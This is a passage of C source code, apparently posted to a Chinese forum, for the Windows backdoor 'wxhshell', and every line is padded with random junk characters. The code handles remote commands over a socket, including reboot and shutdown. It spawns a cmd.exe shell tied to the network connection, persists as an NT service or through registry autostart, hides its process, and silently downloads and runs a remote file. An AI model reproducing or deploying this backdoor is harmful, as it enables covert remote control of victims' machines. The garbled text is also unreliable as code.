  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AMjr[!44 @  
  } _l9fNf!@  
  else { =xm7i#1  
IWu=z!mO  
    switch(cmd[0]) { q  
  '(@q"`n  
  // 帮助 ZwBz\jmbP  
  case '?': { IMwV9rF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~BuzI9~7P  
    break; w{aGH/LN  
  } 3h:~NL  
  // 安装 jzV"(p!  
  case 'i': { 73rme,   
    if(Install()) *|Vf1R]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :ZY%-]u7  
    else 3eE=>E4,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DWOf\[  
    break; eR \duZ!`  
    } pFY*Y>6ar  
  // 卸载 :@i+yN cV  
  case 'r': { ~'%d]s+q  
    if(Uninstall()) G/p\MzDko  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G^t)^iI"'  
    else F2}Fuupb.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ybiTWM  
    break; 7JBs7LG  
    } aC[G_ACwc  
  // 显示 wxhshell 所在路径 cxs@ph&Wk  
  case 'p': { $B-/>Rz  
    char svExeFile[MAX_PATH]; %TQ4 ZFD3  
    strcpy(svExeFile,"\n\r"); |p[Mp:^^  
      strcat(svExeFile,ExeFile); &Tt7VYJfIV  
        send(wsh,svExeFile,strlen(svExeFile),0); -+@N/d5  
    break; n#x_da-m]  
    } ]%D!-[C%1  
  // 重启 Pv5S k8  
  case 'b': { F%-@_IsG#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `f}s<At  
    if(Boot(REBOOT)) +8zACs{p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U\lbh;9G  
    else { E2r5Pg  
    closesocket(wsh); aInt[D(  
    ExitThread(0); ~|Vq v{  
    } 1rZ E2  
    break; KsOSPQDGE  
    } Pg T3E  
  // 关机 +pqbl*W;1  
  case 'd': { s 1M-(d Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8<; .  
    if(Boot(SHUTDOWN)) zK~8@{l}_"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3R< r[3WP  
    else { w3,KqF  
    closesocket(wsh); CmBP C jh  
    ExitThread(0); ^$P_B-C N  
    } :G 5p`;hGo  
    break; K*j OrQf`  
    } o4p5`jOG@  
  // 获取shell 5go)D+6s  
  case 's': { I[&x-}w  
    CmdShell(wsh); 8(4!x$,Z5  
    closesocket(wsh); |iUF3s|?  
    ExitThread(0); 9ia&/BT7"z  
    break; J.XkdGQ  
  } ks. p)F>]  
  // 退出 _m?i$5  
  case 'x': { &6CDIxH{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A[m?^vk q  
    CloseIt(wsh); YaS!YrpI  
    break; Q.$8>)  
    } R?)Yh.vi=t  
  // 离开 5/P. 4<c7  
  case 'q': { X'$H'[8;C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |u%;"N'p)  
    closesocket(wsh); ThX3@o  
    WSACleanup(); 9ad)=3A&L  
    exit(1); _UTN4z2aTG  
    break; X[?fU&  
        } }Y7P2W+4?  
  } @Dsw.@/  
  } `/ T.u&QF  
1;~s NSTo  
  // 提示信息 W^3 Jg2gE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \"ogQnmz  
} 0"e["q{|  
  } p+iNi4y@  
9`92 >  
  return; VE]TT><  
} #L!`n )J"  
Ec<33i]h*p  
// shell模块句柄 UucX1%  
int CmdShell(SOCKET sock) r8YM#dF  
{ f`ibP6%  
STARTUPINFO si; mxCneX  
ZeroMemory(&si,sizeof(si)); *^@b0f~vj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >uZc#Zt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k 76<CX  
PROCESS_INFORMATION ProcessInfo; CP9Q|'oJ  
char cmdline[]="cmd"; u^SInanw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C1f$^N  
  return 0; 8zMGpY#  
} rEp\ld  
C"n!mr{srt  
// 自身启动模式 O\Y*s  
int StartFromService(void) 3. dSS  
{ w|G7h=  
typedef struct fPTLPcPP  
{ *Jcd_D\-(1  
  DWORD ExitStatus; rx| ,DI  
  DWORD PebBaseAddress; >.UEs 8QV  
  DWORD AffinityMask; uG'S&8i_  
  DWORD BasePriority; O6$,J1 2l  
  ULONG UniqueProcessId; .7 j#F  
  ULONG InheritedFromUniqueProcessId; S@pdCH, n  
}   PROCESS_BASIC_INFORMATION; =g6~2p=H  
5+{oQs_  
PROCNTQSIP NtQueryInformationProcess; 9?sY!gXc  
D@X"1X!F`G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wG:RvgX}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 93Gj#Mk  
m~=VUhPd  
  HANDLE             hProcess; jHT^I as  
  PROCESS_BASIC_INFORMATION pbi; &to~#.qc  
1h`F*:nva  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KgYQxEbIW  
  if(NULL == hInst ) return 0; (ZF~   
Vq#0MY)2gS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;XNC+mPK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;K l'[~z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Cs"ivET  
.(p_YjIA  
  if (!NtQueryInformationProcess) return 0; P;XA|`&  
kn$SG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ot=nKdP}D  
  if(!hProcess) return 0; 9:%')M&Q  
i\ 7JQZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cfBl HeYE  
%t* 9sh  
  CloseHandle(hProcess); JI-.SR  
AWFq5YMSI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I^LU*A=  
if(hProcess==NULL) return 0; bly `m p8#  
3LQ u+EsS  
HMODULE hMod; ?^:5`  
char procName[255]; }|/<!l+;$  
unsigned long cbNeeded; e GAto  
3`3my=   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qMVuBv  
LhF;A~L  
  CloseHandle(hProcess); ~|~2B$JeV  
V@z/%=PJ  
if(strstr(procName,"services")) return 1; // 以服务启动 9. FXbNYg  
Mf5*Wjz.Mc  
  return 0; // 注册表启动 4Af7x6a;  
} DcRoW  
b~ig$!N]  
// 主模块 @QpL*F  
int StartWxhshell(LPSTR lpCmdLine) { .i^&  
{ Rbgy?8#9  
  SOCKET wsl; ooa"Th<  
BOOL val=TRUE; Ug#B( }/  
  int port=0; 6R3/"&P(/#  
  struct sockaddr_in door; 'T|QG@q  
u&`rK7 J  
  if(wscfg.ws_autoins) Install(); aY, '^S  
R%t6sbsNv  
port=atoi(lpCmdLine); R SWw4}  
YuO!Y9iEm  
if(port<=0) port=wscfg.ws_port; y9i+EV  
X+\=dhn69  
  WSADATA data; #Ph8 ?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?` ebi|6  
"_rpErm }  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^Kl<<pUaV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T.{]t6t$U  
  door.sin_family = AF_INET; HD$ r<bl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m=iKu(2xRq  
  door.sin_port = htons(port); j}}as  
_w <6o<@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { './qBJ  
closesocket(wsl); $Vs5d= B  
return 1; 8v^AVg  
} Ql}#mC.>/  
5@bmm]  
  if(listen(wsl,2) == INVALID_SOCKET) { ;;^?vS  
closesocket(wsl); -q-BP}r3  
return 1; C?g*c  
} \@NnL\ t u  
  Wxhshell(wsl); G&N),wsNZK  
  WSACleanup(); zLS?: yq  
1TN+pmc}@  
return 0; rc{F17~vX  
oB!-JX9  
} bM W}.v!  
*$t=Lh  
// 以NT服务方式启动 7W/55ZTmJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1OK~*=/4  
{ XS0NjZW  
DWORD   status = 0; M}" KAa  
  DWORD   specificError = 0xfffffff; )Y1+F,C  
9Pm|a~[m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =p8iYtI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; We"\nOP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l2!ztK1^  
  serviceStatus.dwWin32ExitCode     = 0; m0Uk*~Gz  
  serviceStatus.dwServiceSpecificExitCode = 0; ]>(pQD  
  serviceStatus.dwCheckPoint       = 0; kI*f}3)Y  
  serviceStatus.dwWaitHint       = 0; ,{RWs^W2  
%LL?'&&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I'R|B\  
  if (hServiceStatusHandle==0) return; )4 w 3$Q  
90Z4saSUw  
status = GetLastError(); y8di-d3_  
  if (status!=NO_ERROR) ;ejtP #$  
{ j{%'A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8;,(D# p  
    serviceStatus.dwCheckPoint       = 0; 1[?xf4EMG  
    serviceStatus.dwWaitHint       = 0; bFIv}c+;  
    serviceStatus.dwWin32ExitCode     = status; j4D`Xq2 X  
    serviceStatus.dwServiceSpecificExitCode = specificError; Zr!CT5C5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); te3\MSv;O  
    return; !V0)eC50  
  } y[f6J3/  
hya $Vp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Eds{-x|10  
  serviceStatus.dwCheckPoint       = 0; "SwM%j  
  serviceStatus.dwWaitHint       = 0; S#ud<=@!9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2cJ3b 0Xx  
} N!af1zj  
iS8yJRy  
// 处理NT服务事件,比如:启动、停止 u,S}4p&l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G:PcV_ihx  
{ MOP#to)k&  
switch(fdwControl) Oufdi3h  
{ G8hDR^ra  
case SERVICE_CONTROL_STOP: } qr ,  
  serviceStatus.dwWin32ExitCode = 0; +&)&Ny$W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Et"B8@'P  
  serviceStatus.dwCheckPoint   = 0; ]K>x:vMKH  
  serviceStatus.dwWaitHint     = 0; 4 eP-yi  
  { u*!/J R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p( [FZ  
  } LsV?b*^(p  
  return; R%%h=]  
case SERVICE_CONTROL_PAUSE: b@N*W]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bdyE9t   
  break; HNL;s5gq  
case SERVICE_CONTROL_CONTINUE: P/~kX_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8IihG \  
  break; JI~@H /j  
case SERVICE_CONTROL_INTERROGATE: E1rxuV|9  
  break; .l]w4Hf  
}; G2_l}q~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kF"G {5  
} !p e!Z-,  
\kksZ4,  
// 标准应用程序主函数 .:+&2#b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $x1PU67  
{ 7{DSLKtN  
(Z};(Hn  
// 获取操作系统版本 \_zp4Xb2  
OsIsNt=GetOsVer(); ! ^U!T\qDi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]g0\3A  
\bWo"Yo  
  // 从命令行安装 }^3ICwzm  
  if(strpbrk(lpCmdLine,"iI")) Install(); MF~Tr0tOC  
]bb`6 \h  
  // 下载执行文件 Ft$tL;  
if(wscfg.ws_downexe) { ;Quk%6;[N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `Ot;KDz  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]^@!ID$c  
} yBxWBW*e  
nQ^ <h.  
if(!OsIsNt) { }Dc?Emb  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;AK@Kb  
HideProc(); }c0EGoU}?  
StartWxhshell(lpCmdLine); zJa,kN|m  
} dWAKIBe  
else 1Igo9rv  
  if(StartFromService()) =L?(mNHT  
  // 以服务方式启动 <gc\ ,P<ru  
  StartServiceCtrlDispatcher(DispatchTable); \HZ]=B#0  
else Rd{#cW~  
  // 普通方式启动 j; )-K 3Ia  
  StartWxhshell(lpCmdLine); =WP`i29j9}  
vL:tuEE3  
return 0; Hb{G RG70  
}
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只看该作者 1 发表于: 2006-10-10
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